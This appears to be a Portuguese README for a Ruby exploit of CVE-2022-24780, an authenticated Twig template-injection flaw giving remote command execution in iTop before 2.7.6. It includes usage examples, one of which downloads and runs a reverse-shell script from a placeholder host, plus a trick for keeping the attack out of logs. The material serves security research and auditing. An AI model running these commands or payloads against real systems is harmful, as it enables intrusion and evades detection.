acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Autenticado) Execução remota de comandos
iTop < 2.7.6 - Execução remota de comandos (autenticada)
Exploit para CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - Execução remota de comandos (autenticada)
Uso:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: explora com um navegador emulado, executa JavaScript, preserva informações originais do perfil do usuário
light: apenas analisa HTML e envia requisições, sem JavaScript, (DESTRUTIVO) redefine informações do usuário: telefone, localização, função
Opções:
<url> URL raiz (caminho base) incluindo esquema HTTP, porta e pasta raiz
<username> Nome de usuário do portal iTop
<password> Senha do usuário do portal iTop
<cmd> Comando a ser executado no alvo
--debug Exibe argumentos
-h, --help Mostra esta tela
Exemplos:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
O sabor full do exploit usa Watir com um navegador web dirigido por Selenium para emular a navegação de um usuário. Isso é necessário para preservar as informações do usuário. O exploit injeta um payload SSTI em uma subparte do formulário usado para modificar informações do usuário no perfil do portal. Embora alguns valores possam ser hardcoded ou recuperados do HTML, outros (telefone, localização, função) são carregados dinamicamente via JavaScript e injetados no HTML. Portanto, para que o exploit não seja destrutivo, é necessário executar JavaScript para conseguir recuperar esses valores.
O sabor light do exploit não se importa tanto e irá definir destrutivamente um valor nulo para alguns campos de informação do usuário (telefone, localização, função). No entanto, este sabor é mais rápido de executar, requer menos dependências, não executa JavaScript e não precisa de um ambiente X (Watir precisa para executar o navegador).
Resumo: instale tudo com bundle install
Sabor full
Exemplo usando gem:
gem install httpx docopt watir webdrivers
Sabor light
Exemplo usando gem:
gem install httpx docopt nokogiri
Não é recomendado usar payloads com aspas duplas (") nem barras invertidas (\) porque o payload é injetado em JSON.
Aviso: este contêiner não é adequado para uso em produção!
Usando vbkunin/itop:2.7.4 - fonte - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
A vulnerabilidade foi encontrada por Markus KRELL.
Análise da vulnerabilidade pelo descobridor:
A ACCEIS não promove ou incentiva qualquer atividade ilegal; todo o conteúdo fornecido por este repositório é destinado apenas para fins de pesquisa, educacionais e de detecção de ameaças.
Como auditor de segurança (ou qualquer outro papel de chapéu branco), por um lado você quer executar um script de exploit para verificar a exploração prática efetiva da vulnerabilidade teórica com base no número da versão da aplicação que identificou, mas por outro lado, quer que seja feito corretamente, sem qualquer ação destrutiva, para que a aplicação do cliente seja deixada no mesmo estado em que a descobriu.
Por exemplo, este exploit ocorre na página de perfil do usuário, então há um formulário com informações do usuário que já estão preenchidas: nome, sobrenome, ID da organização, e-mail, telefone, ID da localização, função, ID do gerente. Para que o ataque funcione, você só precisa sobrescrever os campos vulneráveis e preencher outros com valores nulos ou aleatórios se forem obrigatórios. É isso que o sabor light do exploit faz. Mas ao fazer isso, você destruirá as informações reais daquele usuário; não é problemático em um ambiente de teste, mas é um problema real se você estiver em um ambiente de produção. Um chapéu preto não se importará com isso, mas como um chapéu branco, temos que preservar os dados. Então a solução é buscar os dados reais e reutilizá-los em nossa requisição POST.
Em aplicações web clássicas, muitas vezes você só precisa criar diretamente uma requisição POST com os parâmetros certos direcionados ao endpoint vulnerável. Às vezes é necessário lidar com sessão / cookies, redirecionamentos, alguns estados anteriores que podem ser necessários, buscar alguns IDs ou tokens anti-CSRF, mas tudo isso continua muito direto e pode ser alcançado com praticamente qualquer biblioteca HTTP em qualquer linguagem.
Para recuperar os dados reais, quando os dados do formulário vêm:
Começa a ser um pouco mais complicado em algumas aplicações web modernas onde muitos valores são definidos a partir de manipulações complexas de JavaScript. Aqui você não pode simplesmente analisar HTML ou requisitar uma API REST, também não pode recuperar o valor diretamente de um arquivo JavaScript ou analisar várias linhas e recomputar um valor. Quando a computação JS é tão complexa, acontece em muitos arquivos JS diferentes ou o código-fonte JavaScript é ofuscado ou empacotado, exigiria muito esforço e tempo para fazer engenharia reversa do mecanismo e extrair o valor. Nesse caso, você realmente precisa interagir com o JavaScript da aplicação. Mas um script de exploit clássico que requer apenas uma biblioteca HTTP não pode fazer isso (sozinho)!
Explorar a vulnerabilidade manualmente é fácil: você navega pela aplicação, deixa seu navegador lidar com todo o JavaScript, apenas configura um proxy interceptador como Burp Suite para poder modificar a requisição antes que seja enviada, e está tudo certo. Mas fazer a mesma coisa de forma automatizada é muito mais difícil. Para interagir e executar o JavaScript, precisamos de um navegador headless (que pode ou não exigir um ambiente de exibição) e uma biblioteca de emulação de usuário. Felizmente, já existem bibliotecas de teste funcional avançadas que podemos usar para dirigir o navegador headless. O mais famoso é o Selenium, mas também existe Cypress. Fora de suítes de teste, também existem bibliotecas que oferecem automação mais genérica como Playwright ou Puppeteer. Em ambos os casos, é usado um DSL que imita o comportamento do usuário como se um usuário estivesse usando a aplicação, então o código que escreveremos dirá ao navegador "clique aqui", "digite meu nome no campo nome", "clique neste link", etc. O limite das estruturas de teste é que elas só permitem fazer o que um usuário normal faria; por exemplo, um usuário normal não busca o conteúdo de uma tag script ou campo oculto, então você também não pode fazer isso. Elas também são feitas para buscar valores e compará-los com o que você espera, não para defini-los. Além disso, a execução usando um navegador headless é muito mais lenta e pode exigir uma escrita DSL complicada. Portanto, no final, queremos usar o navegador headless e a estrutura de teste o mínimo possível.
O que o sabor light do exploit faz é conectar-se à aplicação, buscar o formulário de perfil do usuário para recuperar todos os valores que pode e usar valores em branco para o número de telefone, ID da localização e função, e então enviar o exploit.
No entanto, o que o sabor full do exploit faz é conectar-se à aplicação, buscar o formulário de perfil do usuário para recuperar todos os valores que pode, então usar o navegador headless para conectar, buscar o formulário de perfil do usuário para recuperar os 3 valores que foram definidos a partir do JavaScript, e então enviar o exploit. É basicamente o mesmo processo, exceto que não usamos valores nulos para campos de dados preenchidos por JavaScript, mas sim os recuperamos com um navegador headless que executará o JavaScript que preenche esses valores para poder recuperá-los. Também é tecnicamente possível escrever 100% do exploit usando apenas o navegador headless, mas teremos que enfrentar as limitações discutidas anteriormente; é por isso que escolhi a abordagem híbrida com uso mínimo do navegador headless.
O descobridor da vulnerabilidade CVE-2022-24780, Markus KRELL, escreveu um artigo de análise detalhado em seu blog: iTop – Injeção de Template no Portal do Cliente.
Em resumo, a vulnerabilidade ocorre na alteração de perfil do usuário. Quando o usuário envia o formulário para atualizar suas informações, ele enviará um enorme objeto JSON contendo vários metadados para o backend, mas os dados do usuário a serem atualizados são armazenados como XHTML no sub-nó formproperties.layout.content do JSON. Mas Markus observou no código-fonte que formproperties.layout.type poderia aceitar tanto XHTML quanto Twig. Claro, quando ele viu Twig mencionado, imediatamente pensou em potencial SSTI. Então ele tentou todos os campos no conteúdo para identificar um vulnerável e descobriu que os atributos data-field-id e data-field-flags são vulneráveis. Então é possível usar payloads clássicos de injeção de template Twig. Ainda, como bônus, ele descobriu que acrescentar |join(',') à expressão converteria o array resultante em uma string e, ao fazer isso, evitaria uma entrada nos logs do iTop, tornando o ataque mais furtivo.